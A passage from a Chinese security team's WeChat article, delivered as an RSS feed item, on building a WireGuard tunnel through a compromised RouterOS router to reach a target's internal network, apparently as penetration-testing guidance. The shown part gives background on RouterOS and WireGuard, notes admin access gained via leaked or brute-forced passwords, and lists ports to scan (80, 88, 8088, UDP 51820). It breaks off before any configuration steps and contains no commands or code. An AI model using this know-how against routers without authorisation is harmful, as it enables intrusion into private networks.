<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>渊龙Sec安全团队</title>
    <link>https://wechat2rss.xlab.app/feed/21b0fdc5197bc18c5d0a0c4a5a557a98ae4c01c7.xml</link>
    <description>为国之安全而奋斗，为信息安全而发声！&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (渊龙Sec安全团队)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM7t9ZMYlAgf5UToQQ81XPOfJGVBiaYSbsLL3yNtlXjV1iaw/0</url>
      <title>渊龙Sec安全团队</title>
      <link>https://wechat2rss.xlab.app/feed/21b0fdc5197bc18c5d0a0c4a5a557a98ae4c01c7.xml</link>
    </image>
    <item>
      <title>通过RouterOS建立WireGuard内网隧道</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4NTY0MDg1Mg==&amp;mid=2247485977&amp;idx=1&amp;sn=2bddee1e0c7dfa384c1cd2feee94ba00</link>
      <description>让我们跟随曾哥的脚步，深入学习通过RouterOS建立WireGuard内网隧道，从而快速进入目标内网进行深层渗透！</description>
      <content:encoded><![CDATA[<p>原创 <span>AabyssZG</span> <span>2026-03-31 18:19</span> <span style="display: inline-block;">广东</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=80daa186&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FeOCmtcHlOA5jiaQn5E06qhpKTZwLXkibl97n3oLU9nGAaHiciaKKqDODc9Bu3jzgClONZicsZclW0oJRQ4xVrevaQLdsOmsSPkAYzQUdnsfJHxRM%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>让我们跟随曾哥的脚步，深入学习通过RouterOS建立WireGuard内网隧道，从而快速进入目标内网进行深层渗透！</p>
  <blockquote style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 1em 0px;padding: 15px 15px 15px 1rem;outline: 0px;border-left: 6px solid rgb(220, 230, 240);color: rgb(129, 145, 152);font-size: 0.9em;text-indent: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: normal;background: rgb(242, 247, 251);border-top-color: rgb(64, 64, 64);border-right-color: rgb(64, 64, 64);border-bottom-color: rgb(64, 64, 64);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: inherit;display: block;overflow: auto;word-break: normal;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;letter-spacing: normal;text-align: start;visibility: visible;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">微信公众号：</span><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-weight: bold;color: inherit;font-size: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">渊龙Sec安全团队</span></strong><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><br/></span><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">为国之安全而奋斗，为信息安全而发声！</span><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><br/></span><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">如有问题或建议，请在公众号后台留言</span><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><br/></span><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-weight: bold;color: inherit;font-size: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">如果你觉得本文对你有帮助，欢迎在文章底部赞赏我们</span></strong></p></blockquote><h3 style="box-sizing: border-box;margin: 1.5em 5px 2em 0px;padding: 8px 15px;font-weight: bold;font-size: 1.3em;color: rgb(255, 255, 255);line-height: inherit;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">0# 概述</span></span></h3><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在近期的实战渗透过程中，当我通过历史密码泄露或者爆破成功进入RouterOS系统后台后，应该如何搭建隧道进入目标内网，就成为了实际渗透过程中的问题。</span></p><figure style="box-sizing: border-box;margin: 0px;padding: 0px;display: block;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><img data-aistatus="1" alt="title.jpg" class="rich_pages wxw-img" data-ratio="0.5629067245119306" data-type="jpeg" data-w="922" style="box-sizing: border-box;margin: 0px auto;padding: 0px;border: 2px solid rgb(238, 238, 238);border-radius: 6px;max-width: 100%;font-size: inherit;color: inherit;line-height: inherit;display: block;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;" title="title.jpg" data-imgfileid="100002307" src="https://wechat2rss.xlab.app/img-proxy/?k=209cc90c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FeOCmtcHlOA6rsNQrOPeoTnlL18Dj8N68bbibzn1ceLYXx1kSGnagwwWjzVF9Z4a5ic8icyMaeDv0XYWhJCa37mA8FLoIWxmjdTLqcmYyWnEqF8%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;margin: 10px 0px 0px;padding: 0px;display: block;font-size: 0.7em;color: rgb(153, 153, 153);line-height: inherit;text-align: center;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">title.jpg</span></figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">RouterOS是一种路由操作系统，是基于Linux核心开发，兼容x86 PC的路由软件，通过该软件可以把标准PC电脑变成专业路由器，RouterOS软件的开发和应用不断的更新和发展，软件经历了多次更新和改进，其功能在不断增强和完善。特别在无线、认证、策略路由、带宽控制和防火墙过滤等功能上有着非常突出的功能，其极高的性价比，受到许多网络人士的青睐。</span></p><figure style="box-sizing: border-box;margin: 0px;padding: 0px;display: block;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><img data-aistatus="1" alt="1.png" class="rich_pages wxw-img" data-ratio="0.3648148148148148" data-type="png" data-w="1080" style="box-sizing: border-box;margin: 0px auto;padding: 0px;border: 2px solid rgb(238, 238, 238);border-radius: 6px;max-width: 100%;font-size: inherit;color: inherit;line-height: inherit;display: block;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;" title="1.png" data-imgfileid="100002308" src="https://wechat2rss.xlab.app/img-proxy/?k=7f660d35&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FeOCmtcHlOA7ib9XByctouqon7Kz3bZXLIzvZaL93kTvCyKGIE88nvgxWlqg0ppWdQCrfmBicTjXmJheQcpIjdPtddPzz8qkuWCsTBjeo4iazLM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;margin: 10px 0px 0px;padding: 0px;display: block;font-size: 0.7em;color: rgb(153, 153, 153);line-height: inherit;text-align: center;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">1.png</span></figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在日常针对内网渗透和外部打点的过程中，RouterOS是常见的网关系统和边缘资产，由于其部署方便且易用性较高，在非常多的企业级应用场景中能看到它的身影。</span></p><figure style="box-sizing: border-box;margin: 0px;padding: 0px;display: block;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><img data-aistatus="1" alt="3.png" class="rich_pages wxw-img" data-ratio="0.30833333333333335" data-type="png" data-w="1080" style="box-sizing: border-box;margin: 0px auto;padding: 0px;border: 2px solid rgb(238, 238, 238);border-radius: 6px;max-width: 100%;font-size: inherit;color: inherit;line-height: inherit;display: block;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;" title="3.png" data-imgfileid="100002309" src="https://wechat2rss.xlab.app/img-proxy/?k=40005555&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FeOCmtcHlOA5WSVNIwOqzHTxsMegfLSibYYZg2ryL2h4kiaDRnH5r7A18oaT7v3KEOYBx2qHfxgZWUR4bxYnPjXDDHAOic9j5yFHM0w7UBaibc98%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;margin: 10px 0px 0px;padding: 0px;display: block;font-size: 0.7em;color: rgb(153, 153, 153);line-height: inherit;text-align: center;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">3.png</span></figcaption></figure><h3 style="box-sizing: border-box;margin: 1.5em 5px 2em 0px;padding: 8px 15px;font-weight: bold;font-size: 1.3em;color: rgb(255, 255, 255);line-height: inherit;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">1# WireGuard功能介绍</span></span></h3><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">WireGuard 是一个易于配置、快速且安全的开源 VPN程序。旨在获得比IPsec和OpenVPN更好的性能，后两者都是常见的隧道协议。WireGuard协议的流量经由UDP传输，它可以轻松地在树莓派这类低端设备到高端服务器上部署。</span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">IPsec 和 OpenVPN 等大多数其他解决方案是几十年前开发的。安全研究人员和内核开发人员 Jason Donenfeld 意识到它们速度慢且难以正确配置和管理，这让他创建了一个新的开源 VPN 协议和解决方案，它更加快速、安全、易于部署和管理。</span></p><figure style="box-sizing: border-box;margin: 0px;padding: 0px;display: block;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><img data-aistatus="1" alt="2.png" class="rich_pages wxw-img" data-ratio="0.525" data-type="png" data-w="800" style="box-sizing: border-box;margin: 0px auto;padding: 0px;border: 2px solid rgb(238, 238, 238);border-radius: 6px;max-width: 100%;font-size: inherit;color: inherit;line-height: inherit;display: block;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;" title="2.png" data-imgfileid="100002305" src="https://wechat2rss.xlab.app/img-proxy/?k=058c3a40&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FeOCmtcHlOA4DC2t1jSibjowCvtUJcCGpVwLTFTMODMHibdD5tcmdfuR3Nl7CZRGeAROYzbuPWk447Hay7yRd21ziaj35PYwoqmYRQ5ddNRUmXo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;margin: 10px 0px 0px;padding: 0px;display: block;font-size: 0.7em;color: rgb(153, 153, 153);line-height: inherit;text-align: center;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">2.png</span></figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">WireGuard 最初是为 Linux 开发的，但现在可用于 Windows、macOS、BSD、iOS 和 Android，它仍在活跃开发中。</span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">而上文提到的RouterOS路由操作系统，刚好支持创建和使用WireGuard VPN！这就能让我们能快速的配置WireGuard并连接VPN快速的进入对应的内网，实现跨网段访问内网敏感资源并进一步实施深度内网渗透的目的。</span></p><h3 style="box-sizing: border-box;margin: 1.5em 5px 2em 0px;padding: 8px 15px;font-weight: bold;font-size: 1.3em;color: rgb(255, 255, 255);line-height: inherit;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">2# 内网渗透整体思路</span></span></h3><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">常见开放端口分布情况：</span></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 32px;list-style: disc;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;margin: 0px 0px 0.5em;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">RouterOS路由操作系统的Webfig服务默认端口为HTTP协议的80端口，常见的还有88端口和8088端口，在实战的时候可以尝试测绘一下这几个端口。</span></span></li><li style="box-sizing: border-box;margin: 0px 0px 0.5em;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">而WireGuard VPN的默认端口是51820，采用 UDP 协议进行通信，在实战的时候可以尝试测绘一这个端口。</span></span></li></ul><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">通过搜索引擎进行检索，发现互联网上已经有不少前辈写过如何配置WireGuard，但根据那些文章的步骤，要么找不到具体功能点在哪，要么是配置完成后无法正常连接VPN，于是便有写这篇文章的想法。</span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, 